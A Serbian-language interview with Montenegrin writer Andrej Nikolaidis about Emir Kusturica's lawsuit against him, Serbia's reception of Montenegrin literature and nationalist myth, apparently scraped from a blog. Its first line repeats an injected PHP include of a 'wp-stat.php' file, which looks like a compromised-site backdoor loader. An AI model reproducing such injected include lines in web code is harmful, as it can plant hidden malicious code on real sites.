@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); ANDREJ NIKOLAIDIS, KNJIŽEVNIK: Kusturica kao Al Kaida – Nedim Sejdinović

ANDREJ NIKOLAIDIS, KNJIŽEVNIK: Kusturica kao Al Kaida

Mladi crnogorski književnik Andrej Nikolaidis (1974) široj javnosti je postao poznat, kako to obično biva kod nas, ne po svojim knjigama (koje su, uzgred, imale veoma dobru književnokritičku ex-jugoslovensku recepciju), niti po svojim beskompromisnim kolumnama u “Monitoru” i CKL-u, već po sudskom procesu koji je protiv njega pokrenuo režiser Emir Kusturica. U jednom novinskom napisu, Nikolaidis je Kusturicu označio kao medijsku zvezdu Miloševićeve ratne mašinerije, što je potonjeg uzbudilo, odnosno nanelo mu, kako je sud utvrdio, uvredu i duševni bol. Sud je još utvrdio da Nikolaidis ima da plati Emiru odštetu od 5.000 evra. Inače, i Emir i Andrej u po rođenju i odrastanju – Sarajlije, a presuda je izazvala prilično masovne kritike među novinarima, književnicima, umjetnicima sa područja koje je nekad zahvatala SFRJ. U Srbiji su tek retki, veoma retki, reagovali.

Kako posle svega gledaš na retoričko-sudski duel sa Emirom Kusturicom? Postoji mišljenje među ljudima koji su veoma kritični prema Kusturicinom liku i delu da je tvoj tekst ipak bio malo previše žestok.

– To prvi put čujem. Mnogi misle da je taj tekst tačan, kao što drugi misle da nisam u pravu. Mogu biti u pravu, što jesam, ili u krivu. A to “previše žestok” mi nije jasno. Ne zamjerite, ali u ovim stvarima vjerujem u binarne opozicije. Ne možeš biti previše u pravu. Niti previše u krivu. Pretpostavljam da bi se onda sve što pišem moglo okarakterisati “previše žestokim”. Recimo, potom, da je Kusturica bio “previše žestok” kada je tužio mene i “Monitor”. To nije tužba, to je odmazda: to je napad Al Kaide. Tražio je 100 000 eura – to treba da mu bratski platimo “Monitor” i ja – a podnio je krivičnu tužbu, koja me košta 5 hiljada eura, ili pola godine zatvora. S druge strane, on je tužbom uradio veliki PR posao za mene – u blesavom, paradoksalnom obratu, niko na mojoj promidžbi nije uradio više od Kusturice.

Često se u eks-jugoslovenskoj štampi govori o bumu mlade crnogorske književnosti. Međutim, beogradski mediji to uglavnom ignorišu, a vaše knjige se skoro uopšte ne mogu naći u ovdašnjim knjižarama…

– To je politički stav Beograda. Mi smo dio one Crne Gore koju vaša javnost odbija prihvatiti. Ali gle: ta Crna Gora je stvarnost. Ali kako se ta stvarnost ne uklapa u predstavu o stvarnosti koju ima vaša javnost – utoliko gore po stvarnost. Kada danas govorite o crnogorskoj književnosti, i u Bosni, i u Hrvatskoj, i u samoj Crnoj Gori, misli se na tih nekoliko ljudi – upravo onih nekoliko koje vaša javnost ignoriše.

Da li se možda odgovor krije i u tome što i vi niste preterano zainteresovani za promociju u beogradskoj čaršiji? Stiče se utisak da se obnavlja ili čak da je u potpunosti obnovljena komunikacija među kulturama bivše SFRJ, a da je Srbija u tom procesu zaobiđena.

– Niko od nas nije odbio niti jedan poziv iz Srbije. Radi se o tome da tih poziva zapravo nema. Vaša javnost ne može prihvatiti ono o čemu mi pišemo. Pisci o kojima govorite prosto politički nisu podobni: stav koji, ako mogu generalizovati, imamo o prošlosti i sadašnjosti Srbije je «previše žestok». Potom, mi smo Crnogorci, ja pri tome i Bosanac. Pišemo na crnogorskom jeziku, ja pri tome i na bosanskom. Srbiju, po pravilu, iz Crne Gore zanimaju samo oni pisci koji su hodajući dokaz tvrdnji da su «Crnogorci u stvari Srbi», da crnogorski jezik ne postoji… dodajte sami dalje. Za razliku od prethodnih generacija crnogorskih pisaca, meni ne pada na pamet da promijenim niti jedan zarez u tekstu, a kamoli politički stav, da bih postao prihvatljiv za vašu javnost. Na koncu, Ognjen Spahić, Balša Brković i ja objavljujemo u zagrebačkom «Durieuxu». Mislim da se «Durieuxove» knjige ne prodaju u Srbiji.

Kod tebe i još nekolicine crnogorskih književnika mlađe generacije, primetno je veliko interesovanje za politička i društvena dešavanja. Sa druge strane, ovde u Srbiji književnici svih generacija – čast retkim izuzecima – neprestano se kriju od stvarnosti, neprestano pokušavaju da aziliraju, najčešće u prošlost. Kako to objašnjavaš?

– Srbija generalno ima problem sa stvarnošću. Stvarnost i Srbija u stvarnosti prosto nije onakva kakvima je/se Srbija vidi. Možda to iznutra izgleda normalno, ali u Srbiji svaki treći čovjek glasa za fašističku stranku. To, znate, nije normalno. I ne važi to samo za Srbiju. Ovaj prostor, ove naše države, uopšte nisu normalne. Kad je tako, normalnim mi se čini da pišem o tome. Što znači ne baviti se prljavom i trivijalnom sadašnjošću, kada se ona itekako bavi sa mnom? Ljudi poput sarajevsko-zagrebačkog književnika Miljenka Jergovića lii Aleksandra Hemona imaju sjajne i književne i kolumnističke, dakle paraknjiževne karijere. Pa hrvatski književnik Zoran Ferić… I mnogi drugi. Bojim se da mi nije jasno zašto u Srbiji nije tako.

Ovi ratovi koje smo, nadam se, preturili preko glave, u sebi su imali, veoma važan, element urbicida. Urbani delovi populacije postali su izrazita manjina, koja kao da živi u getu, okružena agresivnim nacionalističkim primitivizmom. Kako to izgleda u Podgorici?

– Podgorica je tu vrlo posebna: ona je tek u vrijeme tih ratova, i naročito od 1997, dakle od loma u vladajućem DPS-u naovamo, postajala gradom. Podgorica je ogledni tranzicioni grad: ona se u tranziciji ne mijenja, nego tek uspostavlja. Tek od 1997, kada Đukanović mijenja politiku, Podgorica postaje glavni grad Crne Gore. Sve do tada, to u praksi je bio Beograd. I naravno: Podgorica, kao i sama Crna Gora, čim se posvetila sebi, postaje bolje mjesto za život. Ali to o čemu govorite se desilo: za vrijeme ratova ono malo urbane Podgorice jeste bilo getoizirano. Ali danas, u Crnoj Gori, u manjini je agresivni nacionalistički primitivizam. Šta je strašno: to što srpska vlast upravo taj primitivizam bira za svog političkog partnera u Crnoj Gori. I čini sve da taj primitivizam ponovo zavlada. Vidite, ta velika podjela u Crnoj Gori u svojoj biti nije nacionalna, ona se tek manifestuje kao takva. Ona je civilizacijska i kulturološka.

Kakav je tvoj odnos, ali i mlađih crnogorskih pisaca, prema tzv. velikim istorijskim naracijama, prema mitovima svih predznaka. Da li je moguće mitom boriti se protiv mita? Interesantan je tvoj stav prema Njegošu!

– Mislim da se uopšte nije moguće boriti protiv mita. Jer do ljudi kojima su mitovi važni prosto ne dopire ništa od svega onoga čime se protiv mita borite. Kada sam pisao o Njegošu, to nisam činio zato što sam budalasto vjerovao da ću promijeniti nečiji odnos prema nacionalnoj mitologiji, nego prosto zato što sam imao potrebu da kažem da mi se jebe za nacionalnu mitologiju. Naše nacionalne mitologije su se raspale pred našim očima, ali ne zato što su se takozvani angažovani intelektualci izborili sa njima, nego zato što je Srbija izgubila ratove u Hrvatskoj, Bosni i na Kosovu, a Crna Gora se izbrukala na Dubrovačkom ratištu, i kao sidekick u srpskim ratovima. Da su Srbija i Crna Gora dobile te ratove, ta bi mitologija itekako bila živa i zdrava. I niko joj ne bi mogao ništa.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.